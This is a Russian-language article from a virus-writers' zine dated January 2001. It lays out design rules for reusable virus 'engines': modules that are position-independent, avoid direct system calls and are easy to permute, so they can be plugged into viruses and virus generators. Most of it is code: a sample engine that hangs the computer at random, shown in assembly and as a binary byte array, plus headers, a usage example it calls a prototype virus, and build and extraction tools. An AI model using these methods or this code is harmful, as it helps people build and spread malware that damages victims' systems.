·─T─┌O┐─T─┌A┐L···─Z┐┌0┐┌M┐┌B·i┌F─i┌C─┌A┐─T─i┌O┐┬N┬··························
   │ │ │ │ ├─┤│    / │ ││││├┴┐┬├─ ┬│  ├─┤ │ ┬│ ││└┤  Issue #1, January-2001
 ··│·└─┘·│·│·│└─··└──└─┘│·│└─┘││··│└──│·│·│·│└─┘│·│··························

 ············································································
                  ОБЩИЕ РЕКОМЕНДАЦИИ ПО НАПИСАНИЮ ДВИЖКОВ
                                версия 2.00
 ············································································

     ДВИЖОК   (engine)   --   некоторый   модуль  используемый  в  вирусах.
 (представленный в бинарной форме и/или в сорцах любого языка)

                                  ВВЕДЕНИЕ

     Этот текст был написан с единственно одной целью: обозначить признаки,
 которыми, на мой взгляд, должен обладать удобный движок.

     Надо  сказать,  что  подобное  желание  возникло уже после того, как я
 прочувствовал  все  плюсы  использования  готовых  компонент  для создания
 вирусов. Были созданы движки LDE32, KME32, ETG, CMIX, DSCRIPT, EXPO, RPME,
 CODEGEN,  PRCG,  MACHO  и  MISTFALL,  обладающие  почти  всеми свойствами,
 описанными  в  этом  тексте.  Однако  даже  и тех небольших преимуществ от
 попытки  эти  движки  стандартизировать  было  достаточно чтобы понять всю
 важность  приведения  движков  к  некоторому  "стандартному" виду. Следует
 сразу  заметить:  подобная  "стандартизация"  влияет  скорее на алгоритм и
 внешний  вид,  чем  на код, и ни коим образом не может послужить упрощению
 работы антивирусов.

                                    КОД

     Движок  должен  содержать только исполняемый код. Таким образом движок
 не  должен  содержать никаких данных в явном виде. (достигается генерацией
 данных кодом)
     Движок  не  должен  содержать  никаких  абсолютных смещений. Для этого
 можно  создать  некую структуру общих вирусных данных в стэке и передавать
 поинтер на эту структуру.
     Движок не должен непосредственно использовать никаких внешних данных и
 не    должен    непосредственно   вызывать   никаких   внешних   процедур.
 (достигается передачей движку указателей на данные/код)
     Движок не должен содержать никаких непосредственных системных вызовов.
 Хотите  работать  в  движке  с  файлами?  - пишите свои процедуры работы с
 файлами,  так,  как  это  удобнее  в  конкретном  вирусе, передаете на них
 указатели и движок становится универсальным.

                               PUBLIC-функции

     Параметры  каждой  функции должны передаваться только на стэке. Каждая
 функция  должна  сохранять  и  восстанавливать все регистры. При выходе из
 функции  флаг  DF должен быть сброшен в 0 (CLD). Результат (если он нужен)
 должен возвращаться в регистре EAX.

                                 ИСХОДНИКИ

     Если  движок  поставляется  в  исходниках,  то  переменные, аргументы,
 константы,  внутренние  процедуры  и  все прочие имена и метки должны быть
 уникальными,  то  есть  такими, чтобы они не встретились в чьем-нибудь еще
 движке  или  в  вашем  же  другом движке (тут частично помогают локальные
 метки).

     Если при передаче данных между движком и вызывающим кодом используются
 данные, то все они должны быть описаны в отдельном .INC файле.

                                ДОКУМЕНТАЦИЯ

     К движку должна прилагаться документация, в которой будет указано:

 - описание движка;
 - описание PUBLIC-процедур и их параметров;
 - описание замеченных глюков (т.е. фич);
 - где движок тестировался, то есть когда он точно работает,
   когда не работает, а когда хз;

                                 ЖЕЛАТЕЛЬНО

     Чтобы  в  движке  существовала  одна  (и  только одна) PUBLIC-функция,
 которая  бы шла В НАЧАЛЕ исполняемого кода (хотите в середине - вставьте в
 начало  JMP),  и  чтобы написана она была в стиле cdecl (RET с последующим
 ADD ESP, xx) или pascal-функции (выход по RET nnnn).
     Чтобы алгоритм и код движка использовали в качестве данных только свой
 стэк и были написаны с учетом мультитреадности.
     Чтобы  движок  был  написан  инструкциями  real  386,  то  есть  чтобы
 отсутствовали  привилегированные инструкции/регистры и все 486+ инструкции
 вообще.

                              ЧТО В РЕЗУЛЬТАТЕ

     С  использованием  всех  вышеперечисленных ограничений и фич, получаем
 код  движка:  независимый  ни  от  кольца защиты, ни от операционки, ни от
 смещения   по   которому   он  находится.  Такой  код  легко  подвергается
 пермутации.  Код или исходники такого движка легко могут быть подключены к
 другим движкам, вирусам, генераторам вирусов или вирусным конструкторам.
     Более  того, решается просто глобальная задача связи asm- и cpp- кода,
 без использования obj-ей.

                          ПРИМЕР ОФОРМЛЕНИЯ ДВИЖКА

     Движок: KILLER. Задача: произвести зависание с вероятностью 1/1000.

     Исходник:

····[begin KILLER.ASM]·······················································
engine                  proc    c
                        arg     user_param      ; user-data
                        arg     user_random     ; external randomer
                        arg     arg1
                        arg     arg2            ; other parameters
                        arg     arg3
                        pusha
                        cld
                        ;;
                        push    1000
                        push    user_param
                        call    user_random
                        add     esp, 8
                        ;;
                        cmp     eax, 666
                        je      $
                        ;;
                        popa
                        ret
                        endp
····[end KILLER.ASM]·························································

     Полученный в результате инклюдник на ASM:

····[begin KILLER.INC]·······················································
; KILLER 1.00 engine
db 0C8h,000h,000h,000h,060h,0FCh,068h,0E8h
db 003h,000h,000h,0FFh,075h,008h,0FFh,055h
db 00Ch,083h,0C4h,008h,03Dh,09Ah,002h,000h
db 000h,074h,0FEh,061h,0C9h,0C3h
····[end KILLER.INC]·························································

     Тот же самый инклюдник на C/C++:

····[begin KILLER.CPP]·······················································
// KILLER 1.00 engine
BYTE killer_bin[30] =
{
  0xC8,0x00,0x00,0x00,0x60,0xFC,0x68,0xE8,
  0x03,0x00,0x00,0xFF,0x75,0x08,0xFF,0x55,
  0x0C,0x83,0xC4,0x08,0x3D,0x9A,0x02,0x00,
  0x00,0x74,0xFE,0x61,0xC9,0xC3
};
····[end KILLER.CPP]·························································

     Инклюдник/хеадер на ASM:

····[begin KILLER.ASH]·······················································
; KILLER 1.00 engine
KILLER_VERSION          equ     0100h
····[end KILLER.ASH]·························································

     Инклюдник/хеадер на C/C++:

····[begin KILLER.HPP]·······················································
// KILLER 1.00 engine
#ifndef __KILLER_HPP__
#define __KILLER_HPP__

#define KILLER_VERSION  0x0100

typedef
void __cdecl killer_engine(
                DWORD   user_param,             // user-parameter
                DWORD __cdecl user_random(DWORD user_param, DWORD range),
                DWORD   arg1,
                DWORD   arg2,
                DWORD   arg3);

#endif //__KILLER_HPP__
····[end KILLER.HPP]·························································

     Пример вызова движка на ASM:

····[begin EXAMPLE.ASM]······················································
; KILLER 1.00 usage example
include                 killer.ash

callW                   macro   x
                        extern  x:PROC
                        call    x
                        endm

v_data                  struc
v_randseed              dd      ?
;                       ...
                        ends

                        p386
                        model   flat
                        locals  __

                        .data
                        dd      ?
                        .code

start:                  call    virus_code
                        push    -1
                        callW   ExitProcess

virus_code:             pusha
                        sub     esp, size v_data
                        mov     ebp, esp
                        ;;
                        callW   GetTickCount
                        xor     [ebp].v_randseed, eax  ; randomize
                        ;;
                        push    3
                        push    2               ; parameters
                        push    1
                        call    $+5+2           ; pointer to randomer
                        jmp     short my_random
                        push    ebp             ; user-param, v_data ptr
                        call    killer_engine
                        add     esp, 4*5
                        ;;
                        add     esp, size v_data
                        popa
                        retn

; DWORD __cdecl random(DWORD user_param, DWORD range)
;                       [esp+4]        [esp+8]
my_random:              mov     ecx, [esp+4]   ; v_data ptr
                        mov     eax, [ecx].v_randseed
                        imul    eax, 214013
                        add     eax, 2531011
                        mov     [ecx].v_randseed, eax
                        shr     eax, 16
                        imul    eax, [esp+8]
                        shr     eax, 16
                        retn
killer_engine:
include                 killer.inc

virus_size              equ     $-virus_code
                        end     start
····[end EXAMPLE.ASM]························································

     Пример использования на C/C++:

····[begin EXAMPLE.CPP]······················································
#include <windows.h>
#include "killer.hpp"
#include "killer.cpp"
DWORD randseed = GetTickCount();
DWORD __cdecl my_random(DWORD user_param,DWORD range)
{
  return range ? (randseed = randseed * 214013 + 2531011) % range : 0;
}
void main()
{
  void* killer_ptr = &killer_bin;
  (*(killer_engine*)killer_ptr)  (0x12345678, my_random, 1,2,3);
}
····[end EXAMPLE.CPP]························································

     Пример программки для компиляции исходника движка:

····[begin BUILD.ASM]························································
                        p386
                        model   flat
                        locals  __
                        .data
                        db      0EBh,02h,0FFh,01h       ; signature
include                 killer.asm
                        db      0EBh,02h,0FFh,02h       ; signature
                        .code
start:                  push    -1
                        callW   ExitProcess
                        end     start
····[end BUILD.ASM]··························································

     Пример  программки для выдирания бинарной (DB,DB,...) версии движка из
 скомпиленного EXE-файла:

····[begin HAXOR.CPP]························································
#include <stdio.h>
#include <stdlib.h>
#pragma hdrstop
void main()
{
  FILE*f=fopen("build.exe","rb");
  int bufsize = filelength(fileno(f));
  BYTE* buf = new BYTE[bufsize];
  fread(buf, 1,bufsize, f);
  fclose(f);
  int id1=0, id2=0;
  for (int i=0; i<bufsize; i++)
  {
    if (*(DWORD*)&buf[i] == 0x01FF02EB) id1=i+4;        // check signature
    if (*(DWORD*)&buf[i] == 0x02FF02EB) id2=i;          // check signature
  }
  f=fopen("killer.inc","wb");
  fprintf(f,"; KILLER 1.00 engine\r\n");
  for (int i=0; i<id2-id1; i++)
  {
    if ((i%8)==0) fprintf(f,"db ");
    fprintf(f,"0%02Xh", buf[id1+i]);
    if (((i%8)==7)||(i==id2-id1-1)) fprintf(f,"\r\n"); else fprintf(f,",");
  }
  fclose(f);
  f=fopen("killer.cpp","wb");
  fprintf(f,"// KILLER 1.00 engine\r\n");
  fprintf(f,"BYTE killer_bin[%i] = {\r\n",id2-id1);
  for (int i=0; i<id2-id1; i++)
  {
    if ((i%8)==0) fprintf(f,"  ");
    fprintf(f,"0x%02X", buf[id1+i]);
    if (i!=id2-id1-1) fprintf(f,",");
    if ((i%8)==7) fprintf(f,"\r\n");
  }
  fprintf(f," };\r\n");
  fclose(f);
}
····[end HAXOR.CPP]··························································

     Обратим  внимание  на example.asm -- прообраз будущего вируса. В файле
 используется  движок,  движок  использует внешннюю процедуру (рандомер), а
 рандомер  использует  randseed  который  создан  в  основном теле вируса и
 инициализирован  перед вызовом движка. В результате не только этот движок,
 но  и  любой  другой, да и сам вирус, смогут вызывать одну и ту же внешнюю
 процедуру (в данном случае рандомер, но это могли бы быть функции работы с
 файлами  и  другие движки). Очевидно, что call GetTickCount, произведенный
 перед   вызовом   движка,   в   настоящем   вирусе   будет  произведен  по
 соответствующему вычисленному кернеловскому адресу.
     Заметим, что все это написано без использования оффсетов как таковых.
     Итак, задача достигнута: движок компиляется отдельно, отлаживается так
 же  отдельно,  в  example.cpp  (имхо на cpp отлаживать алгоритмы быстрее и
 проще чем на asm), и используется в вирусах на ассемблере.

 ············································································